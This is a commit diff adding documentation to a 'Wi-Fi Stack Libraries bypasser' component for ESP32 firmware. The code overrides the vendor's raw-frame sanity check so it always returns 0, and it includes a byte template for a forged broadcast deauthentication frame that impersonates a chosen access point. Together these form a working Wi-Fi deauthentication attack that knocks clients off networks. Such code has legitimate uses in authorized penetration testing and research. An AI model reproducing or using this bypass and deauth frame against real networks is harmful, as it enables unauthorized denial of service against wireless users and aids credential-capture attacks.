wsl bypasser documented

Author: risinek

Diff for: components/wsl_bypasser/interface/wsl_bypasser.h

@@ -1,9 +1,34 @@
+/**
+ * @file wsl_bypasser.h
+ * @author risinek ([email protected])
+ * @date 2021-04-05
+ * @copyright Copyright (c) 2021
+ * 
+ * @brief Provides interface for Wi-Fi Stack Libraries bypasser
+ * 
+ * This component bypasses blocking mechanism that doesn't allow sending some arbitrary 802.11 frames like deauth etc.
+ */
 #ifndef WSL_BYPASSER_H
 #define WSL_BYPASSER_H
 
 #include "esp_wifi_types.h"
 
+/**
+ * @brief Sends frame in frame_buffer using esp_wifi_80211_tx but bypasses blocking mechanism
+ * 
+ * @param frame_buffer 
+ * @param size size of frame buffer
+ */
 void wsl_bypasser_send_raw_frame(const uint8_t *frame_buffer, int size);
+
+/**
+ * @brief Sends deauthentication frame with forged source AP from given ap_record
+ *  
+ * This will send deauthentication frame acting as frame from given AP, and destination will be broadcast
+ * MAC address - \c ff:ff:ff:ff:ff:ff
+ * 
+ * @param ap_record AP record with valid AP information 
+ */
 void wsl_bypasser_send_deauth_frame(const wifi_ap_record_t *ap_record);
 
 #endif

Diff for: components/wsl_bypasser/wsl_bypasser.c

@@ -1,5 +1,11 @@
-// Inspired by: https://github.com/GANESH-ICMC/esp32-deauther
-
+/**
+ * @file wsl_bypasser.c
+ * @author risinek ([email protected])
+ * @date 2021-04-05
+ * @copyright Copyright (c) 2021
+ * 
+ * @brief Implementation of Wi-Fi Stack Libaries bypasser.
+ */
 #include "wsl_bypasser.h"
 
 #include <stdint.h>
@@ -12,6 +18,14 @@
 #include "esp_wifi_types.h"
 
 static const char *TAG = "wsl_bypasser";
+/**
+ * @brief Deauthentication frame template
+ * 
+ * Destination address is set to broadcast.
+ * Reason code is 0x2 - INVALID_AUTHENTICATION (Previous authentication no longer valid)
+ * 
+ * @see Reason code ref: 802.11-2016 [9.4.1.7; Table 9-45]
+ */
 static const uint8_t deauth_frame_default[] = {
     0xc0, 0x00, 0x3a, 0x01,
     0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
@@ -20,6 +34,12 @@ static const uint8_t deauth_frame_default[] = {
     0xf0, 0xff, 0x02, 0x00
 };
 
+/**
+ * @brief Decomplied function that overrides original one at compilation time.
+ * 
+ * @attention This function is not meant to be called!
+ * @see Project with original idea/implementation https://github.com/GANESH-ICMC/esp32-deauther
+ */
 int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
     return 0;
 }